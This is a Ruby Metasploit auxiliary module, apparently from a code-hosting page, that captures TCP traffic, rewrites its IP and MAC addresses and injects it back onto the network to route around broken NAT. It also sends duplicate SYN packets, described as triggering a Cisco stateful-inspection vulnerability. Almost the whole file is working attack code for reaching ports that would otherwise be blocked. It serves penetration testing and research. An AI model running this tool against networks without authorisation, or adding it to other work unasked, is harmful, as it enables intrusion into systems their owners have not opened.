147 lines
5.6 KiB
Ruby
147 lines
5.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'BNAT Router',
|
|
'Description' => %q{
|
|
This module will properly route BNAT traffic and allow for connections to be
|
|
established to machines on ports which might not otherwise be accessible.},
|
|
'Author' =>
|
|
[
|
|
'bannedit',
|
|
'Jonathan Claudius',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://github.com/claudijd/bnat' ],
|
|
[ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels']
|
|
]
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('OUTINF', [true, 'The external interface connected to the internet', 'eth1']),
|
|
OptString.new('ININF', [true, 'The internal interface connected to the network', 'eth2']),
|
|
OptString.new('CLIENTIP', [true, 'The ip of the client behing the BNAT router', '192.168.3.2']),
|
|
OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']),
|
|
OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']),
|
|
])
|
|
end
|
|
|
|
def run
|
|
clientip = datastore['CLIENTIP']
|
|
serverip = datastore['SERVERIP']
|
|
bnatip = datastore['BNATIP']
|
|
outint = datastore['OUTINF']
|
|
inint = datastore['ININF']
|
|
|
|
clientmac = arp2(clientip,inint)
|
|
print_line("Obtained Client MAC: #{clientmac}")
|
|
servermac = arp2(serverip,outint)
|
|
print_line("Obtained Server MAC: #{servermac}")
|
|
bnatmac = arp2(bnatip,outint)
|
|
print_line("Obtained BNAT MAC: #{bnatmac}\n\n")
|
|
|
|
# Create Interface Specific Configs
|
|
outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config
|
|
inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config
|
|
|
|
# Set Captures for Traffic coming from Outside and from Inside respectively
|
|
outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" )
|
|
print_line("Now listening on #{outint}...")
|
|
|
|
inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" )
|
|
print_line("Now listening on #{inint}...\n\n")
|
|
|
|
# Start Thread from Outside Processing
|
|
fromout = Thread.new do
|
|
loop do
|
|
outpcap.stream.each do |pkt|
|
|
packet = PacketFu::Packet.parse(pkt)
|
|
|
|
# Build a shell packet that will never hit the wire as a hack to get desired mac's
|
|
shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows")
|
|
shell_pkt.ip_daddr = clientip
|
|
shell_pkt.recalc
|
|
|
|
# Mangle Received Packet and Drop on the Wire
|
|
packet.ip_saddr = serverip
|
|
packet.ip_daddr = clientip
|
|
packet.eth_saddr = shell_pkt.eth_saddr
|
|
packet.eth_daddr = clientmac
|
|
packet.recalc
|
|
inj = PacketFu::Inject.new( :iface => "#{inint}", :config => inconfig )
|
|
inj.a2w(:array => [packet.to_s])
|
|
print_status("inpacket processed")
|
|
end
|
|
end
|
|
end
|
|
|
|
# Start Thread from Inside Processing
|
|
fromin = Thread.new do
|
|
loop do
|
|
inpcap.stream.each do |pkt|
|
|
packet = PacketFu::Packet.parse(pkt)
|
|
|
|
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
|
|
packet.ip_daddr = serverip
|
|
packet.eth_daddr = servermac
|
|
else
|
|
packet.ip_daddr = bnatip
|
|
packet.eth_daddr = bnatmac
|
|
end
|
|
|
|
# Build a shell packet that will never hit the wire as a hack to get desired mac's
|
|
shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows")
|
|
shell_pkt.ip_daddr = serverip
|
|
shell_pkt.recalc
|
|
|
|
# Mangle Received Packet and Drop on the Wire
|
|
packet.eth_saddr = shell_pkt.eth_saddr
|
|
packet.ip_saddr=shell_pkt.ip_saddr
|
|
packet.recalc
|
|
inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig )
|
|
inj.a2w(:array => [packet.to_s])
|
|
|
|
# Trigger Cisco SPI Vulnerability by Double-tapping the SYN
|
|
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
|
|
select(nil, nil, nil, 0.75)
|
|
inj.a2w(:array => [packet.to_s])
|
|
end
|
|
print_status("outpacket processed")
|
|
end
|
|
end
|
|
end
|
|
fromout.join
|
|
fromin.join
|
|
end
|
|
|
|
def arp2(target_ip,int)
|
|
config = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{int}").config
|
|
arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
|
|
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr]
|
|
arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
|
arp_pkt.arp_daddr_mac = "00:00:00:00:00:00"
|
|
arp_pkt.arp_saddr_ip = config[:ip_saddr]
|
|
arp_pkt.arp_daddr_ip = target_ip
|
|
cap = PacketFu::Capture.new(:iface => config[:iface], :start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}")
|
|
injarp = PacketFu::Inject.new(:iface => config[:iface])
|
|
injarp.a2w(:array => [arp_pkt.to_s])
|
|
target_mac = nil
|
|
|
|
while target_mac.nil?
|
|
if cap.save > 0
|
|
arp_response = PacketFu::Packet.parse(cap.array[0])
|
|
target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip
|
|
end
|
|
select(nil, nil, nil, 0.1) # Check for a response ten times per second.
|
|
end
|
|
return target_mac
|
|
end
|
|
end
|